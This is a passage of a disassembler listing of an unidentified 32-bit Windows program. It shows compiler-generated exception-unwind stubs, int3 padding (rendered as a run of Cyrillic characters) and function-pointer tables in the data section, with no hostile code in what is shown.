; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-40h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-40h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-40h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43B6A4: ; DATA XREF: ___:00425BD2o
mov eax, offset dword_441928
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 32h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_426450 proc near ; DATA XREF: sub_426450+2o
mov eax, offset dword_441A08
jmp sub_4367C8
SEH_426450 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B708: ; DATA XREF: ___:00441A64o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Bh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4264C0 proc near ; DATA XREF: sub_4264C0+2o
mov eax, offset dword_441A38
jmp sub_4367C8
SEH_4264C0 endp
; ---------------------------------------------------------------------------
db 12h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B758: ; DATA XREF: ___:00441AB4o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Bh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_426560 proc near ; DATA XREF: sub_426560+2o
mov eax, offset dword_441A88
jmp sub_4367C8
SEH_426560 endp
; ---------------------------------------------------------------------------
db 12h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4266A0 proc near ; DATA XREF: sub_4266A0+2o
mov eax, offset dword_441AD8
jmp sub_4367C8
SEH_4266A0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4269A0 proc near ; DATA XREF: sub_4269A0+2o
mov eax, offset dword_441B08
jmp sub_4367C8
SEH_4269A0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_426A60 proc near ; DATA XREF: sub_426A60+2o
mov eax, offset dword_441B38
jmp sub_4367C8
SEH_426A60 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_426EB0 proc near ; DATA XREF: sub_426EB0+2o
mov eax, offset dword_441B68
jmp sub_4367C8
SEH_426EB0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_426F70 proc near ; DATA XREF: sub_426F70+2o
mov eax, offset dword_441B98
jmp sub_4367C8
SEH_426F70 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_4014C4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427590 proc near ; DATA XREF: sub_427590+2o
mov eax, offset dword_441BC8
jmp sub_4367C8
SEH_427590 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427650 proc near ; DATA XREF: sub_427650+2o
mov eax, offset dword_441BF8
jmp sub_4367C8
SEH_427650 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427DC0 proc near ; DATA XREF: sub_427DC0+2o
mov eax, offset dword_441C28
jmp sub_4367C8
SEH_427DC0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B8A8: ; DATA XREF: ___:00441C84o
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427E30 proc near ; DATA XREF: sub_427E30+2o
mov eax, offset dword_441C58
jmp sub_4367C8
SEH_427E30 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; ---------------------------------------------------------------------------
loc_43B908: ; DATA XREF: ___:00441CDCo
mov ecx, [ebp-10h]
add ecx, 11h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 26h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 43h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 58h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Dh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_427EF0 proc near ; DATA XREF: sub_427EF0+2o
mov eax, offset dword_441CB0
jmp sub_4367C8
SEH_427EF0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-28h]
jmp sub_40179E
; ---------------------------------------------------------------------------
loc_43B968: ; DATA XREF: ___:00441D34o
mov ecx, [ebp-28h]
add ecx, 0A1h
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_428160 proc near ; DATA XREF: sub_428160+2o
mov eax, offset dword_441D08
jmp sub_4367C8
SEH_428160 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-53ECh]
jmp sub_4014B0
; ---------------------------------------------------------------------------
loc_43B9AB: ; DATA XREF: ___:00441D74o
lea ecx, [ebp-5490h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5474h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5274h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-528Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-525Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-537Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5334h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-522Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5304h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52D4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-545Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5444h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-541Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5404h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-5364h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-534Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-531Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52ECh]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-52BCh]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BA92: ; DATA XREF: sub_4282C0+8o
mov eax, offset dword_441D48
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 44h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4299C0 proc near ; DATA XREF: sub_4299C0+2o
mov eax, offset dword_441E30
jmp sub_4367C8
SEH_4299C0 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-10h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429AA0 proc near ; DATA XREF: sub_429AA0+2o
mov eax, offset dword_441E60
jmp sub_4367C8
SEH_429AA0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_429D00 proc near ; DATA XREF: sub_429D00+2o
mov eax, offset dword_441E90
jmp sub_4367C8
SEH_429D00 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42A090 proc near ; DATA XREF: sub_42A090+2o
mov eax, offset dword_441EC0
jmp sub_4367C8
SEH_42A090 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42A150 proc near ; DATA XREF: sub_42A150+8o
mov eax, offset dword_441EF0
jmp sub_4367C8
SEH_42A150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42AEC0 proc near ; DATA XREF: sub_42AEC0+5o
mov eax, offset dword_441F20
jmp sub_4367C8
SEH_42AEC0 endp
; ---------------------------------------------------------------------------
align 10h
loc_43BB90: ; DATA XREF: ___:0042AFD5o
mov eax, offset dword_441F80
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+20h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BBA8: ; DATA XREF: ___:0044200Co
lea ecx, [ebp+8]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-1A0h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B060 proc near ; DATA XREF: sub_42B060+2o
mov eax, offset dword_441FE0
jmp sub_4367C8
SEH_42B060 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B240 proc near ; DATA XREF: sub_42B240+2o
mov eax, offset dword_442020
jmp sub_4367C8
SEH_42B240 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; ---------------------------------------------------------------------------
loc_43BC08: ; DATA XREF: ___:0042B2E2o
mov eax, offset dword_442050
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B480 proc near ; DATA XREF: sub_42B480+2o
mov eax, offset dword_442080
jmp sub_4367C8
SEH_42B480 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_40179E
; ---------------------------------------------------------------------------
mov eax, offset dword_4420B0
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
mov eax, [ebp-30h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42B880 proc near ; DATA XREF: sub_42B880+8o
mov eax, offset dword_4420E0
jmp sub_4367C8
SEH_42B880 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_42BB70 proc near ; DATA XREF: sub_42BB70+2o
mov eax, offset dword_442110
jmp sub_4367C8
SEH_42BB70 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp+4]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-74h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-70h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BD84: ; DATA XREF: ___:0042BE68o
mov eax, offset dword_442168
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 32h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4347B0 proc near ; DATA XREF: sub_4347B0+2o
mov eax, offset dword_442250
jmp sub_4367C8
SEH_4347B0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-168Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BDEB: ; DATA XREF: ___:004422B4o
lea ecx, [ebp-16A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43BDF6: ; DATA XREF: ___:004348A8o
mov eax, offset dword_442288
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4351E0 proc near ; DATA XREF: sub_4351E0+2o
mov eax, offset dword_4422C0
jmp sub_4367C8
SEH_4351E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4355E0 proc near ; DATA XREF: sub_4355E0+2o
mov eax, offset dword_4422F0
jmp sub_4367C8
SEH_4355E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-128h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
SEH_4356F0 proc near ; DATA XREF: sub_4356F0+8o
mov eax, offset dword_442328
jmp sub_4367C8
SEH_4356F0 endp
; ---------------------------------------------------------------------------
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
db 'ллллллллллллллллллллллллллллллллллл',0
align 4
dd 3E3h dup(0)
off_43E000 dd offset sub_4017C6 ; DATA XREF: sub_4036D0+3FEo
off_43E004 dd offset byte_4367D0 ; DATA XREF: sub_403C70+2o
off_43E008 dd offset off_402009 ; DATA XREF: sub_406BA0+2o sub_406C00o
off_43E00C dd offset sub_4021F8 ; DATA XREF: ___:00407075o
off_43E010 dd offset loc_402171 ; DATA XREF: sub_409AE0+4o
; sub_409B40+Bo ...
off_43E014 dd offset loc_402027 ; DATA XREF: sub_40ADC0+2o
; sub_40AE10+1Co
dd offset byte_4367D0
align 10h
off_43E020 dd offset loc_401ACD ; DATA XREF: ___:0040B118o
; sub_40B170+1Eo
flt_43E024 dd 1.0 ; DATA XREF: ___:0040B7C6r
off_43E028 dd offset sub_401A3C ; DATA XREF: sub_40F600+157o
; sub_40FDA0+1Do
dd offset sub_40212B
dd 0
off_43E034 dd offset sub_401AB9 ; DATA XREF: sub_40F600+142o
; sub_40FDA0+23o
off_43E038 dd offset loc_40115E ; DATA XREF: sub_411860+36o
; sub_411910+1Do
dd offset loc_401FE6
dd 0
off_43E044 dd offset sub_4014BF ; DATA XREF: ___:0041318Do
; sub_413220+1Fo
dd offset sub_401CF8
align 10h
off_43E050 dd offset sub_4019BF ; DATA XREF: sub_416C00+6o
; sub_417DF0+8o
dd offset sub_4020A9
dd 0
off_43E05C dd offset loc_401C99 ; DATA XREF: sub_416C60+6o
; sub_417E20+8o
dd offset sub_401230
align 8
off_43E068 dd offset loc_40191A ; DATA XREF: sub_416CC0o sub_41FBD0+8o
dd offset sub_401CDF
dd 0
off_43E074 dd offset sub_40111D ; DATA XREF: sub_416D10o
; sub_4190B0+36o
off_43E078 dd offset loc_4014A1 ; DATA XREF: sub_417BC0+68o
off_43E07C dd offset sub_401064 ; DATA XREF: sub_417C60+8Bo
off_43E080 dd offset sub_40138E ; DATA XREF: sub_417D30+74o
off_43E084 dd offset loc_401B6D ; DATA XREF: sub_417E50+7Bo
off_43E088 dd offset loc_40202C ; DATA XREF: sub_417F10+7Bo
off_43E08C dd offset loc_401F1E ; DATA XREF: sub_417FD0+3Eo
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND]
db 1Fh, 40h, 0
off_43E094 dd offset loc_401FD7 ; DATA XREF: sub_418080+3Eo
off_43E098 dd offset sub_401E4C ; DATA XREF: sub_418100+3Eo
off_43E09C dd offset loc_40100A ; DATA XREF: sub_418180+10o
off_43E0A0 dd offset loc_4010B4 ; DATA XREF: sub_4181B0+4Bo
off_43E0A4 dd offset sub_401BA4 ; DATA XREF: sub_418230+10o
off_43E0A8 dd offset sub_401712 ; DATA XREF: sub_418260+10o
off_43E0AC dd offset sub_401613 ; DATA XREF: sub_418290+6Bo
dbl_43E0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4198C0+22r
dd 0
off_43E0BC dd offset sub_401AF5 ; DATA XREF: sub_41A010+Bo
; sub_41A110+6o
off_43E0C0 dd offset sub_401E74 ; DATA XREF: sub_41AFE0+Do sub_41B040o
off_43E0C4 dd offset sub_4013FC ; DATA XREF: ___:0041B3A2o
; ___:0041B48Do
dd offset sub_40167C
align 10h
off_43E0D0 dd offset loc_4019E7 ; DATA XREF: sub_41D670+77o
; sub_41D760+1Do
dd offset sub_401C80
dd 0
off_43E0DC dd offset sub_4011FE ; DATA XREF: sub_426450+32o
dd offset sub_401A64
dd offset sub_401A41
dd 0
off_43E0EC dd offset loc_4016D1 ; DATA XREF: sub_4264C0+6Ao
; sub_426560+1Do
dd offset sub_401A64
dd offset byte_4367D0
dd 0
off_43E0FC dd offset loc_401AAF ; DATA XREF: sub_4269A0+32o
dd offset sub_401A64
dd offset sub_401366
dd 0
off_43E10C dd offset sub_40181B ; DATA XREF: sub_426EB0+32o
dd offset sub_401A64
dd offset sub_401E92
dd 0
off_43E11C dd offset sub_40222A ; DATA XREF: sub_427590+32o
dd offset sub_401A64
dd offset sub_401A05
dd 0
off_43E12C dd offset sub_401C2B ; DATA XREF: sub_427DC0+32o
dd offset sub_4021A8
dd offset sub_4015AF
dd 0
off_43E13C dd offset loc_402068 ; DATA XREF: sub_427E30+7Ao
; sub_427EF0+1Do
dd offset sub_4021A8
dd offset byte_4367D0
dd 0
off_43E14C dd offset sub_4021B2 ; DATA XREF: sub_428160+4Bo
; sub_428250+10o
dd offset sub_4021A8
dd offset sub_401D2A
dd 0
off_43E15C dd offset loc_40112C ; DATA XREF: sub_4299C0+32o
; sub_429A60+9o
dd offset sub_4021A8
dd offset sub_40137A
dd 0
off_43E16C dd offset loc_401B04 ; DATA XREF: sub_429D00+32o
dd offset sub_4021A8
dd offset sub_4010AF
dd 0
off_43E17C dd offset sub_4017A8 ; DATA XREF: sub_42A090+32o
dd offset sub_4021A8
dd offset sub_40188E
dd 0
off_43E18C dd offset sub_4020D1 ; DATA XREF: sub_42B1D0+27o
